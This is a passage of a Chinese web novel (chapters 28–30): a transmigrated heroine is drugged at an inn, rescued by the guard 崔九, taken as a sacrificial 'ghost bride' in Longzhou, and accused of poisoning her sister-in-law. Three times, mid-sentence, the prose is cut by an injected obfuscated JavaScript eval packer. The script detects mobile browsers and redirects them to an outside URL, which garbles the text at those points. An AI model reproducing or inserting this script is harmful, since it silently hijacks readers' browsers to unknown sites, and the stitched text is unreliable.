崔九道:“你和她什么关系?” 崔白玉不可置信地深吸一口气缓了缓,可最终还是气上心头,“她可能跟我来自同一个地方,如果我能见到她,或许就能找到一些共同点,回到属于我的世界。当然,我知道你可能觉得我疯了,但我现在就是很清醒,我明白自己在做什么,我想回去,我不想留在这里。” 回去…… 周围的一切声音仿佛都被隔绝,崔九变得眼神空洞而迷离,犹如一潭死水,波澜不惊,道:‘她已经死了。 他很清楚,崔瑜所说的回去,应该就是再也见不到她了。 可见不到又如何?他们之间本来也没有什么必要的联系,如果不是挨了鞭子,他根本不会注意到崔白玉。 崔九攥紧拳头,指关节因为用力过度而泛白,霎时间,感觉如登高时一脚踩空,从万丈悬崖坠落。 一种难以言喻的剧痛从心口蔓延至全身,此时,连呼吸都变得沉重而缓慢。 崔瑜和那些人有何不同? ........连至亲之人都背叛和抛弃他,崔瑜的萍水相逢又算什么? 倘如她知道自己的身份,会不会也和那些人一样认为他是不详之子,然后像父皇一样抛弃他,像朋友一样给他下毒,亦或是像他的恩师,派人暗中行刺? 为何天下人都觉得他该死? 崔九扯出一个诡异而扭曲的笑容,琥珀色的眸子被一层浓郁的阴霾所笼罩。 崔白玉一定也觉得他该死。 崔白玉指尖微微停顿,对上他的目光,一颗心瞬间悬了起来,浑身往外冒冷汗。 这是要发疯预兆!!! 崔九的唇上血色褪去,眼睫下却有一条充血的红线,“你也觉得我是疯子........我错了?” 声音好似千疮百孔,隐隐发颤,崔白玉眉头狂跳,心里狠狠疼了一下,惊愕地抬头看着他。 这算什么? 是个锅她都接着吗? 崔九越过她,径直离开屋子。 那些人说得不错,赵丞会给王朝带来厄运,是天煞孤星,是个残暴无情的疯子。 他承认,自己确实疯了。 每次情绪剧烈波动,疯病就会发作,之后,每次清醒周遭都是残缺,血淋淋的尸体。 他浑然不知这其中发生了什么,但脸上溅满鲜血,刀也在他手上。 人是他杀的。 崔白玉惊魂未定地缓了半天,旋即,垂眸看着自己止不住发颤的手,不知过了多久,一只手扶着桌沿缓缓站起身,双眼无神地凝视着地面。 每一个动作都像是被抽去了灵魂。 她刚才说了什么刺激他的话么? 不能离开?笑话,这里的生活有什么值得留恋的,她当然更喜欢以前醉生梦死的生活! 灯红酒绿,音乐震耳欲聋,她更喜欢那里。 屋子安静极了,崔白玉咽不下这口气,眸子狰狞起来,抓起桌上的杯子,狠狠地摔在地上。 杯子在地上摔得粉碎,站在外面的桃酥吓了一跳,顾不得规矩就冲了进来,焦急道:“姑娘,你没事吧!?” 崔白玉深吸一口气,几息之间就将方才的失态调整回来,朝她淡淡一笑,“怎么了?” 笑容还是怪怪的,桃酥走到她身旁,握住她的手,仔细地检查了一下,“姑娘有没有受伤?” 崔白玉摇了摇头。 “没受伤就好,”桃酥松了口气,走到房间的角落,拿扫帚将地上的碎片打扫干净,“姑娘要是吃不惯驿站的饭菜,就再等一下,奴婢刚才在小厨房做了糕点,一会儿该熟了。” 崔白玉袖中的手慢慢地攥了下,不动声色地看着她,良久收回视线,“好。” 桃酥察觉到她心情不是很好,就想着说点让她开心的事,“小白又偷跑出去了,回来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289003|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候叼着一只耗子........奴婢一时不查,让小白叼着藏在了姑娘的毯子里,小白应该是想把东西送给姑娘。” 崔白玉淡声道:“看它的腿好得差不多了。” “崔九给奴婢的药真的很管用,”桃酥顿了顿,“姑娘放心,小殿下已经把姑娘的毯子用皂角洗了,这会儿已经晾了。” 崔白玉依旧一动不动地倚坐着,神色淡淡。 桃酥想了想,忍不住问道:“姑娘,奴婢觉得好奇怪,小殿下明明是天潢贵胄,为何会洗衣服呢?那次收拾房间,小殿下做活也是干净利落,好像经常做这种事。” 崔白玉神情顿时有些微妙,站起身,看向窗外不远处的小孩。 她那条粉色的小毯子晾在太阳底下的一根细绳子上。 绳子一端系在院门口的歪脖子树上,另一端则系在院子的篱笆上,小孩估计是担心篱笆不结实,拿着小板凳就坐在旁边守着。 崔白玉笑了笑,身上那股艳丽的劲儿又上来了,“你们可真有趣。” 声音太小,桃酥也没想到崔白玉会这么说,抬头看向她,“姑娘在说什么?” “没什么。”崔白玉转身打算出去走走,结果在院子门口遇见了周正德。 周正德轻轻的咳嗽了几声,瞧着那个侍卫没在身边,才敢开口,“崔姑娘又要出去?” 崔白玉心境似乎平和了许多,道:“猫丢了,去找猫。” “找猫啊,”周正德笑了一声,“猫都聪明着呢,知道回来的路,咱家方才让人备了一桌上好的酒菜,崔姑娘要不一起?顺便交个朋友,加深下了解,” 醉翁之意不在酒,崔白玉的脸上只有波澜不兴的沉静,客气一笑:“当然可以。” 透窗的阳光已经收尽余晖。 桌上铺着的桌布,边缘绣着精致的青色花纹,酒菜丰盛,然而满桌子饭菜只有两人坐在桌前。 周正德自顾自地倒了一杯酒,脸上有浅淡的笑意,“崔姑娘应该不喝酒吧?” 崔白玉道:“应该不会搅了周公公的酒兴吧?” “怎么会,”周正德为了让她放下戒备,并没有强人所难,“咱家这次来呢,一来,是吃个饱饭,二来,是和崔姑娘交个朋友,大家以后同在一个屋檐下,应该相互照应。” 崔白玉捏了一块点心,眼角带着笑意,跟他打起了太极。 而后,过了将近半个时辰,周正德还未套到话,心里已经有些急了,他迟疑了一下,“没想到崔姑娘对京城的美食了解得如此透彻,这次倒是让咱家取经了,可你一个姑娘家在京城到处溜达,你身边的侍卫没少费心思罢?” 绕了这么大一圈,原来是想问崔九。 崔白玉慢悠悠地说,“都是我这长嫂眼光好,选了一个这么靠谱的侍卫,让我省了不少心。” 周正德笑道:“原来如此,咱家之前认了一个义妹,生性跳脱,和你喜欢到处跑,咱家正想问问,你这侍卫是从哪里寻来的?” 崔白玉故作遗憾,叹息道:“诶呀,这我可就不知道了,都是长嫂安排,下次,下次我帮您问问吧。” 周正德嘴角微不可察地抽搐了一下,感觉自己这辈子的耐心都耗没了。 两人吃完饭,周正德心塞得厉害,酒都没喝下几口,就头也不回就走了。 崔白玉睫毛颤动,不知为何身子开始渐渐热了起来,走出门的时候,脚下一个趔趄。 还是桃酥及时接住了人,“姑娘你身子怎么这么烫啊?” 崔白玉猛然意识到是酒里添了东西。 可她明明只吃了周正德动过的菜。 28. 心动 混了这么久,崔白玉还是第一次在酒局栽跟头。 她居然被人下药了! “桃酥,你去井里打些凉水.......”乌黑的长发从颊侧滑落,崔白玉扶着墙壁,双腿酸软,肩头也跟着微微发抖。 桃酥没弄白状况,但知道情况紧急,没多问就赶紧跑出去了,结果不小心在拐角处迎面撞上了崔九,差点被掀飞出去。 扶一下会死吗? 浓重的血腥味钻进了鼻腔,桃酥心尖一颤,强忍住干呕的冲动,下意识后退两步,“不要挡路好不好!” 天天跑出去鬼混,关键时刻一点用处都没有,这般想着,她心里的怨气一下子多了起来,“姑娘身体不舒服,你看好小殿下和小白!” 崔九周身隐隐带着一股戾气,看都没看桃酥一眼,径直绕过她。 桃酥也懒得跟他废话了,赶紧下楼去打水。 崔九本来打算直接回房间,可听到急促而紊乱呼吸声,转身调转了方向。 楼道烛火昏暗,崔白玉极力忍耐着,但双眸已经有些迷离,每一步走得极为艰难。 药效发作极快,她在心里把下药的人的骂了上百遍,可身上还是难受极了。 这种鬼地方上哪里找解药? 随便找个男人? 崔白玉胃里一阵恶心,晃荡着踉跄了几步,忽然一股冰冷而无形的压力袭来,崔白玉感觉到有人在碰她,藏在袖子里的刀滑至手心,转身朝着身后之人的脖颈狠狠刺去。 若是换成一个寻常人,那他的静脉可能已经被刺穿了。 可崔九轻而易举地接住她的手腕,蹙着眉睫毛颤动,眼里的情绪意味不明。 崔白玉凌乱的发丝贴在脸上,脑子里什么都没了。她侧身靠着墙壁勉强站稳身子,喘息片刻,努力地看清眼前的人。 还好是他,不然接下来发生的一切都难以收拾。崔白玉狼狈地低下头,避开视线,心里却松了一口气。 他的存在仿佛一下子驱散所有的不安。 最危险的时候,她的潜意识依赖的人居然是崔九。 真的好奇怪。 明明在不久前,她还在戒备,责怪,怀疑........崔九一个残暴不仁的疯子。 这样的一个人没有能人掌控。 一道阴影从头顶压下来,崔白玉的手上没了力气,握不住的刀片掉落在地,垂下手臂。 空气里弥漫着淡淡的檀香,崔九居高临下地盯着人,目光落在泛红的后颈,稍稍退开一点距离,握住了她的手腕,嗓音几分紧绷,“合欢散。” 中毒不算太深,花枕的手笔。 崔白玉的呼吸明显加重,甚至好像听到了自己的心跳声,纤长睫毛在眼睑投下阴影,遮住了眼角的湿润。 她开口道:“还不如是一瓶毒药呢.......” 死了,没准就回去了。 崔九心里涌起一阵细细密密的疼,屈膝,一手揽过她的肩膀,一手托住她的腰身,径直把人抱了起来。 隔着薄薄一层衣料,他感觉崔白玉滚烫的体温也烧到了自己身上,连心头血都要烧沸了。 “别动。”他的声音传进了耳朵,崔白玉抬起手臂将圈紧他,藏在袖中的指尖微微发抖。 崔九身体绷得像一块硬铁,脖子上青色筋脉微微凸起,仅剩的理智让她感受到了他们之间的暗流涌动。 他这是什么意思?崔九脸上表情没有恶心排斥,反而可以接受和她发生点什么? 崔白玉的脑子控制不住地浮现出一些活色生香的画面,翕动着嘴唇,想要衔取点什么。 做了也没什么,她不在意,只要事后不会被灭口就好。 汗珠自额际颈间滚落,崔白玉的衣裳扯散些,泛着潮红的脸颊,把脸埋在了崔九的颈间,无意识地蹭了一下。 崔九大步回到房间,拿披风罩在她身上,吩咐屋里的侍卫,声音冷到了极点,“派人把守后院,谁都不许靠近。” 常昭顾及他手上的伤,本想接过怀里的人,但听他这么说就把手缩回去了。 崔九在跟谁说话?崔白玉没有多少神智,视线陷入一片黑暗,下意识抬手扯掉那块布,只见崔九抱着她往外走。 “崔九.......”她再开口声音已经哑得不像话,夹杂着几分的迫切和难耐,在模糊的意识里,双手环着对方的脖子,红了眼眶,狠狠咬了上去,尝到了浅浅的血腥。 她不想在外面做,可心底如同有道深壑什么也填不满。 崔白玉隐约感觉自己完蛋了。 她喜欢崔九身上的气味,喜欢他的触碰。 可崔九好似没有痛觉,被咬伤了也没有吭声。可细看一下,耳畔竟然悄悄的泛起了一点红。 他俯下身,把崔白玉缓缓放入温泉。 崔白玉心下一惊,攥紧了他袖子,不料还是脚底一滑,眼前一阵天旋地转,整个人跌入水中,一时间水花四溅,好在崔九稳稳抓住她的手,没有松开。 经过这么一番折腾,崔白玉被拽出水面的时候,眼神已经恢复了一丝清明。 圆月高悬于夜空,在月色的笼罩下,崔九身上覆盖着一层淡淡的银辉,他单膝跪在池边,攥着她的手腕,直勾勾地盯着崔白玉,眸中浓重的情绪让人心惊。 崔白玉身子大半都被淹没在水里,她看不清他面上的神情,心脏却剧烈跳动,仿佛下一刻就要要冲破胸膛。 是那种被野兽盯上的危机感。 她本来都已经做好准备,也主动表达了自己的意向,结果崔九居然是个柳下惠。 毫不犹豫地把她扔进了水池子。 一个心猿意马,一个稳如活佛。 霎时间乱七八糟的念头盘桓在她心头,崔白玉眼底盛着晶莹破碎的水光,内心泛起阵阵涟漪,忽然无声笑了下,“看什么,我很好看么?” 周围只能听见流淌的水声和树叶沙沙作响。 崔九一怔,容颜一半融于阴影之中,一言不发地盯着她看,脸色似冷淡又似意动。 崔白玉眼皮微微颤动,恍惚间生出一种错觉。 他的目光似乎透过衣服落到了肌肤上,刺激的她头皮发紧。 二人谁都没有移开眼睛,崔白玉觉得很奇怪,崔九的注视并未让她感到不适。 反而有种异样的刺激。 崔白玉试图理清脑中烦乱的思绪,面上表现出几分隐忍和委屈的模样,“你和苏有枝没可能,不如考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297301|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虑一下我。” 隔着衣料轻轻摩挲着他的手腕,摆明了要欲情故纵。 可就在崔九要站起身的时候,猛然将人拖进了水里。 崔九一直都是戒备的状态,她身上的那点力气于他而言和三岁孩童无异,他不想躲避更不愿躲避。 好似心甘情愿让她愚弄....... 此时,崔白玉也知道自作孽不可活是什么滋味了。 两人靠得极近,中间好似只有一张纸的距离,再加上崔九身量极高,在体型的绝对压制下,崔白玉心神陡然发颤,脆弱的神经被拉成一条细线,她把自己搞得无路可退。 可注意到了崔九颈间渗出血丝的咬痕,心脏一声比一声响。 好似发现了之前不曾注意到的感情。 水珠滑落紧绷的下颌线,崔九压着心头的躁动,眼里染上了浓重的占有欲。 崔白玉把心一横,拽着他的衣服,吻住那片温软的嘴唇。 清浅的呼吸声交缠在一起,崔九脑子轰鸣,刹那间,眼里染上一丝青涩的羞耻,还有陌生的情欲也随之涌来。 下颚绷得极紧,喉结剧烈滚动一下。 紧接着,滚热的身体贴了上来,崔九竭尽全力克制住急促的呼吸,稳稳接住人,骨骼分明的手指寸寸扣紧崔白玉的后腰,紧绷的肌肉充斥着勃发的力量。 声音暗哑,难以抑制地微颤,“......崔瑜。” 第二日清晨,风和日丽。 崔白玉迷迷糊糊地睁开眼,发现浑身软弱无力,试着动了动手指。 桃酥守在她的身边,抹着眼角的泪花,一副眼睛通红的样子,委屈道:“姑娘,你可算醒了,都要吓死奴婢了。” 崔白玉的视线逐渐明晰,努力回想昨晚的事,发现自己断片了,“.......这好像不是我的房间。” 亲了崔九之后发生了什么? “这是崔九找的房间,昨夜姑娘晕倒在后院的水池子,是他抱姑娘回来,”桃酥端来一碗药汤,“崔九说姑娘染了风寒,醒了就把药吃了。” 崔白玉接过药碗,忍不住舔了舔嘴唇,喝过药后,问道:“他人呢?” “他一大早就出去了,”桃酥想了想,还是忍不住告诉她,“姑娘,奴婢昨夜看见崔九离开的时候,身边跟着一群凶神恶煞的黑衣人,他们手里都带着刀,训练有素,对崔九唯命是从,看着都不像好人。” 她本来就怀疑崔九别有用心,现在一看,崔九更加不像一个侍卫了。 不就是亲了一下么?崔白玉默默叹了口气,“他带人离开了驿站?” 桃酥点了点头,“对了,周公公让咱们赶紧收拾东西,一会儿就出发了。” 崔白玉漫不经心地嗯了一声,想起昨晚的事,心下砰砰直跳,她起身穿好衣服,又喝了两杯凉茶平复心绪。 可想起崔九还是忍不住笑了一下。 居然连夜跑了。 桃酥开始收拾行礼。 期间,想起昨晚崔九看着崔白玉那说不上来是什么意味的眼神,心里又是一阵胆寒。 这种人一看过得就是刀尖上舔血的日子,姑娘肯定看不上他,所以才咬了他一口,不然怎么会咬出血来? 29. 将离 接下来的一个月,崔白玉都没再看到崔九。 暧昧的火花一触即灭。 崔白玉讨了没趣,也就不在琢磨这件事了。 而且,眼下还有更重要的事亟待解决。 这一路上,那位名叫咸鱼写的话本子崔白玉都看过了。 毫无疑问,这个咸鱼姑娘是个现代人,无论是核心内容还是她表达的中心思想都十分贴合现代人理念 然而,更令她震惊的是,咸鱼写一本名叫《君生》的话本子和崔白玉在邮箱看到的《为君折腰》写作习惯极为相似,内容也大差不差。 或者说,《为君折腰》这本书应该就是她写的,但有人私自纂改了。 而篡改的人很可能是原身。 当然,她的猜测是有依据的,原身有写手记的习惯,只是粗略的比对出,就能明显感觉出来。 可如果真是这样,崔白玉便有了一个大胆的假设。 她根本不是穿书,是穿越时空,而在这两个时空穿梭的条件是需要另外一个时空的东西作为媒介。 一部分超自然理论认为,灵魂可在特殊状态下脱离□□,实现维度穿越。 那个名叫咸鱼的人肯定也发现了。 再加上根据桃酥所说,原身和她是极为亲密的好友,知道此事后,干脆动了杀心。 可原身改写的《为君折腰》,心上人惨死,兄长又离她而去,给自己安排了一个挖心肝的结局又是何意? 赎罪?还是想让穿越过来人活在痛苦和煎熬之中? 崔白玉捉摸不透原身的心思。 不过有一点可以确定,原身知道崔九是个很危险的人,所以在执行计划前,抽了崔九三十多鞭。 她想让穿越过来的人,死在崔九的刀下。 一个十五岁的小姑娘居然算计到这步。 思及此,崔白玉温和地笑了笑,决定去咸鱼姑娘生活过的地方。 如果能再找些蛛丝马迹,她没准就能回去了。 还是得找崔九........ 宽敞的房间内水汽弥漫,崔白玉将话本子扔到旁边的书桌上,双目轻阖,身体完全滑入浴桶中,热水淹没整个人。 热水澡将一个多月的舟车劳顿消散不少。 过了一会儿,崔白玉缓缓从木桶中起身,乌黑柔顺的长发湿漉漉地贴在她的后背,水珠顺着修长而白皙的双腿滑落。 桃酥站在门外轻轻敲了几下门板,“姑娘,院外有人在闹事。” 崔白玉一边穿好衣服,一边拿帕子擦拭着头发上的水珠往外走,问道:“何事?” 桃酥听城内百姓议论就了解了一个大概,“最近陇州城外在闹鬼,搞得城内人心惶惶,商贾想选几个新娘送到镜禾山献给鬼神平息灾祸。” 崔白玉闻言顿住了手,狐疑道:“闹鬼了?” 桃酥一脸讳莫如深,凑到崔白玉耳边小声道:“好多百姓都说在山上看见蓝色的鬼火,就是和五年前烧死先太子的一样,所以有谣传说是鬼太子回来报复人了。” 崔白玉无语片刻,“合着新娘是送给他的?” 这哪个缺大德提出的注意? 桃酥点了点头,“本地之前就有献祭的风俗,所以........可怜了那些姑娘们。” 陇州府衙门口摆了两张桌子,盖上红布,排着长队的百姓忐忑不安的从木箱中摸出一张纸团,展开给衙役捕快检查,上面写有红字的就会被选中。 “大家都看看周围的人,哪户人家没来,举报有赏。” 话音刚落,突然有位老汉脸色煞白,无尽的悲痛哽住了喉咙,一声号叫痛哭起来,“我的孙女儿!” 衙役们一拥而上,将老汉搀扶起来,随即派人去家中搜寻。 为了安全起见,崔白玉和周正德进入陇州就伪装了成了商人,不到关键时刻,她是不能暴露身份的,哪怕是陇州刺史是赵呈的人,她亦不相信。 崔白玉捏了捏手中扇子,出神地看着他们。 而就在此时,一位正在排队妇人呆呆地伫立在原地,见老汉哭得撕心裂肺,被他的悲痛所感染,扑通一声跪在地上,磕了一个响头,留下血迹。 “各位老爷,我举报,我要举报,我求你们放过我的女儿,她有哮喘病,离不得人啊,我举报,我家隔壁搬来一户商人,他家也有适龄女子!各位官老爷,求你们放过我女儿吧......” “遭了!”桃酥认得她,昨天搬进新院子的时候,妇人还热情地跟她们介绍了当地风土人情。 崔白玉微眯了一下眼睛,正要转身离开。 妇人眼含热泪,犹豫片刻,颤颤巍巍地抬起手臂指向崔白玉。 衙役看过去,一抬手吩咐道:“带过来。” 崔白玉:“............” 桃酥护主心切,见状上前拦住衙役,“不可!” 陇州的情况尚未摸清,崔白玉不敢轻举妄动,用团扇拦住了桃酥,安抚道:“没事,你先回去。” 衙役上下打量着她,发现身上没有贵重的东西彰显身份,便没了顾及把人拽到木箱面前,冷声道:“拿出来一张。” 后面还有这么多人排队,崔白玉运气一向不错,没多想就伸手拿出一个。 衙役一把夺过,面无表情的将纸团展开递到她的眼前,无情地说:“带走。” 崔白玉看着上面殷红的字迹,心里有点凉凉的。 她今年一定是犯了太岁。 很快,崔白玉被带到了一间厢房,进屋时,看见角落还有两个倒霉的小姐妹已经换上新娘的嫁衣,坐在地上小声抽泣。 老妈子冷冷地瞥了她们一眼,把手上的嫁衣扔给崔白玉,“换上,晚上就送你们进山!” 听到房门落锁,崔白玉额角抽痛,抖开手上的嫁衣,心中更是无奈。 这裙子多少短了点....... 两位姑娘见屋里来了新人,渐渐停住了哭声,互相对视一眼,小声问道:“姑娘,你不是本地人吧?” 崔白玉折腾半天,好歹是把衣服穿上了,“怎么了?” 女子身子微微颤抖着,指尖轻轻摩挲着嫁衣上的刺绣,脸颊上满是泪痕,“金凤山狼群泛滥,我们都回不去了........” 好不容易穿上一回嫁衣,居然是去送死。 这不比闹鬼还可怕?崔白玉蹬上自己鞋子,问道:“陇州最近很不太平吗?” “这两年出了不少人命案,城里的百姓白天都紧闭门户,”说着,女子两行悲泪再次潸然而下,“母亲就是去金凤山采药,再也没有回来。” 崔白玉递给她一条帕子,又整理了一下不合身的嫁衣。 女子心情复杂地接过帕子,抽泣道:“我帮你吧。” 崔白玉正要开口回绝,忽然房门再次打开,老妈子不知去哪找来一位媒婆,张罗着给屋里三位新娘上妆。 都是送给先太子的,还是得像样子。 到了傍晚时分,送亲队伍敲锣打鼓地扛着花轿进山。 周正德没有任何行动。 崔白玉本来也对他没抱什么希望,毕竟两人心照不宣,都是先想看到对方的底牌。 所以这次陷入危机,周正德一定是作壁上观。 不过,第一次坐花轿心情不免激动了些,崔白玉心中揣揣不安,忍不住撩开盖头,四处张望。 不知是不是错觉,她好像在树林看见了有道影子,一晃而过。 崔白玉检查了一下方才去厨房偷来的火链子,微微松了口气。 然而,镜禾山雾气越来越大,树林里时不时传来狼嚎。 崔白玉起了一声鸡皮疙瘩,好似闻到了一股腐叶和泥土混合在一起的腥臭味。 按照计划,轿夫应该把人送到山顶,可遇到这种情况,一群人直接把轿子扔下,鬼哭狼嚎的往山下跑。 伪装成轿夫的太监拔下瓦罐的塞子,将猪血泼在地上赶忙就跑开。 崔白玉摘了盖头,走下花轿查看情况,顺便捡起丢在地上的火把。 另外新娘听到动静也从花轿里走出来。 崔白玉发现地上的箱子一脚踹开,发现里面是带血的猪肉,瞳仁变得幽深。 这是怕狼找不到她们吗? 她用布帕捂住鼻,却也抵挡不住那股恶心的血腥味。 想起刚才看到轿夫里有个人长得细皮嫩肉的男人,一直没开口讲话,应该是个太监。 周正德这狗东西果然想趁机杀了她。 树林里出来沙沙的响声,狼闻到味道已经陆续埋伏在树林里,借助草丛的掩护,一步步缩小包围圈。 崔白玉环顾四周,发现除了狼群虎视眈眈守着他们,还有一道阴冷的目光直勾勾地盯着她。 比狼群还要危险,想让人立即就逃跑。 崔白玉觉得有点不可思议,但除了崔九应该没有别人,“用火链子把花轿点了。” 她一副不知天高地厚的模样自然暗藏玄机。 两个穿着嫁衣的新娘摘下盖头已然变成了一米八的壮汉,他们点燃花轿,走到崔白玉身后,“姑娘,方才收到信号,影卫以送亲队伍作掩护已经顺利摸进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304067|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山了。” 树林里目光变得更加凌厉,崔白玉嗯了一声,不由地感觉后背一阵发凉,一时间,她不知道狼群危险,还是崔九更危险。 的确,赵呈在临行前将影卫交给她,而她一直有意隐瞒,可这件事说到底,他们之间都谁没有坦诚相待,崔九又有什么立场责怪她? 气氛过于紧张,崔白玉脸颊上的冷汗顺着颈间滑落,深吸一口气,差点没晕厥过去。 她把那些令人作呕的猪血给忘记了! 影卫托着她的手臂扶了她一下,而就在一瞬间,崔白玉好似感觉有把刀抵在后颈,心似乎也跟着颤了一颤。 紧接着,树林里忽然发出一声凄厉的哀嚎,向同伴发出警报。 狼群遇到了更可怕的东西,开始迅速逃窜。 崔白玉当即领悟到人生真谛:面对崔九要永远心存敬畏之心。 不能再得罪人了,若是再得寸进尺,那发出惨叫的就该是她了。 下次色心大发的时候一定要想好对方脾气再下手! 崔白玉示意两个影卫跟上自己,赶紧离开这个是非之地。 要是被崔九拦下秋后算账,那岂不是......... 崔白玉低头往前走,忽然有双黑色靴子挡住前路,她往后退了一步,团扇掩面,努力维持着镇定,“怎么了?” 崔九眼神又冷又骇人,声音更是冷得直抵心扉,“玩得很开心?” 崔白玉脸上还化着新娘的妆容,虽然画的不是很好看,但好在是有那张脸撑着,可身上劣质香粉的气味,还是让人倒胃口,“这怎么算玩呢,这只能说是,我和先太子是有些缘分在的。” 提到赵丞谁不是一脸晦气,避之不及的人,崔九冷然一笑,“缘分?” “人鬼情未了,听过吗?”崔白玉递给影卫一个眼神,示意他们先离开。 崔九不动声色地看着她,目光不由自主地落在她的唇瓣,又很快移开视线。 “我也没想到,箱子里还有那么多纸团,我居然就抽中了。”崔白玉浑然不觉,走到一颗树旁,脱下绣鞋抖落出来两个小石子。 崔九道:“你不怕?” “你说鬼火?”崔白玉穿好鞋子,又整理了一下衣裙,结果藏在腰间的玉佩滑了下来,“我上次不是给你做了一个小实验,鬼火不过是人为的假象,你这么从聪明还相信这个?” 崔九先她一步捡起玉佩,指尖感受到的上面温热,便知道她是贴身佩戴。 可玉佩是方叙言的物件。 崔白玉笑容僵在脸上,伸过去的手微微发颤。 玉佩一般是男女之间表达爱意的定情信物,崔白玉怎么可能不知道?崔九不紧不慢地把手移开,微眯了一下眼睛,“死性不改。” 什么?! 崔白玉瞬间汗流浃背了。 虽然她有前科,但这次真的是冤枉人了,“他给我我就收着了,没有其他意思。” 郎情妾意,看着确实很登对。既然如此,那为何还要招惹他? 崔九把崔白玉从头到脚打量一番,冷不丁的说道:“你觉得方叙言会娶你?” 崔白玉道:“我一定会还的。” 崔九的脸色更难看了,“你喜欢他?” 喜欢他我还亲你?居然把她想的那么不堪!崔白玉有时候真想给他一巴掌,奈何有贼心没贼胆。 崔白玉眨了眨眼,试探的伸出手,“免灾。” 她之前就分析过崔九喜欢什么样的女子。 少时遭逢巨变,心性变得冷血残暴,孤僻,不爱说话,但掌控欲十足,这种人应该很容易被那种单纯善良的小太阳吸引,当然了,崔白玉和这种人是不沾边的,但可爱还是能装一装。 崔九俨然是被她气笑了,把玉佩扔给她转身离开。 “你可不能把我一个人扔在这啊!”赵呈派过来的影卫,崔白玉都让他们去保护赵辛了,这次上山打探消息也就来了十个人。 崔白玉小心翼翼的收好玉佩,伸手去抓崔九,见他回头就把手缩回来。 崔九注意到这一举动,紧握的拳头慢慢松开,放缓了步子。 崔白玉跟他并肩而行,略略松了口气,问道:“你身上的伤好了吗?” 崔九还未来得及开口,影卫忽然现身走到崔白玉身边,低声道:“崔琅华来陇州了。” 崔白玉反应了一下,蓦地睁大眼睛,“苏有枝也来了?” 影卫道:“也在。” 崔白玉毛骨悚然,心沉了下去。 “突然不想努力了,越努力越心酸……” 30. 将离 这个时候崔琅华不应该在江南和苏有枝度蜜月么,怎么会出现在陇州? 此时,天色已黑,街道上只有寥寥几家还亮着灯火。 崔白玉看着陇州府衙内灯火通明,无奈地叹了口气。 时隔多月,兄妹两人再重逢,已然物是人非,崔琅华肃然站立正堂中间,听到脚步声看见崔白玉,心中不知是何滋味。 他实在无法相信往日的妹妹会变得如此心狠手辣。 “是她!当时就是她让小人在保胎药里面加东西!”郎中身上横绑着几根细绳,跌坐在地上,脸上因为情绪失控而略显狰狞,“就是她威胁小人,说小人如果不按照她说的做,就杀了小人全家老小,青天大老爷啊,小人上有八十老母,下有吃奶的孩子,岂敢不从啊!可怜小人行医数十年,就因为她,毁了一辈子的功德!” “!!!” 怎么是这个走向! 崔白玉霎时间如同五雷轰顶,一口气险些没喘上来。 桃酥也被绑在一旁,激动道:“你血口喷人——” 然而话未说完,就被堵上了嘴。 “谁血口喷人?小人记得清清楚楚,就是她威胁的小人!”郎中双眼瞪得滚圆,满脸热泪,从怀里拿出荷包,膝行至崔琅华面前,“小人至今未花里面一分一毫,就是希望有朝一日能看到罪犯伏诛!郎主大人,您若是不信,大可以亲自核对,小人就算吃了熊心豹子胆都不会害人的,上次毒害您夫人,实在是被逼得走投无路了!” 苏有枝抬眸,微微泛红的眼眶,带上几分痛恨,道:“我与你有缘无仇,你为何要几次三番地来害我?” 这个时候,大概也就只能沉默了。 沉默是金。 崔白玉静静地站在原地,扇子也不摇了。 苏有枝双手紧紧地攥着衣角,道:“那日云绣坊失火,我在案发现场捡到了夫君让人给你打造的簪子,这个你又如何解释?” 崔白玉表情难得地出现了一丝崩裂,往崔九身边靠了一小步。 周正德咂摸了一下嘴巴,心中却禁不住得意,端起茶杯嘬了两口茶,“二姑娘,你这事做得不对啊,这位可是你的亲嫂嫂,谋财害命的事你可都做了,而且人证物证俱在,你有什么感想?” 崔琅华道:“可是有难言之隐?” 或许有吧,但只有原身知道,崔白玉从进屋到现在都没敢看崔琅华,听到他的问话,内心如翻江倒海一般,干脆把脸转了过去。 “崔白玉!”崔琅华胸膛剧烈地起伏着,可见是动了肝火。 一时间,屋子里陷入了死寂。 众人都不敢再开口讲话,眼神齐齐看向崔白玉。 而就在这时,忽然有人站了出来,“郎主,玉儿年纪小还不懂事,她只是一时顽劣,并无害人之心啊!” 玉儿是什么鬼? 崔白玉大脑仿佛突然死机,小心翼翼地打量着人。 崔九直接冷了脸,眼眸犹如两口深不见底的寒潭,周身散发着令人不敢轻易靠近的气场。 周正德察觉到气氛的微妙,一脸看热闹不嫌事大地问,“这位公子,你又是何人?” 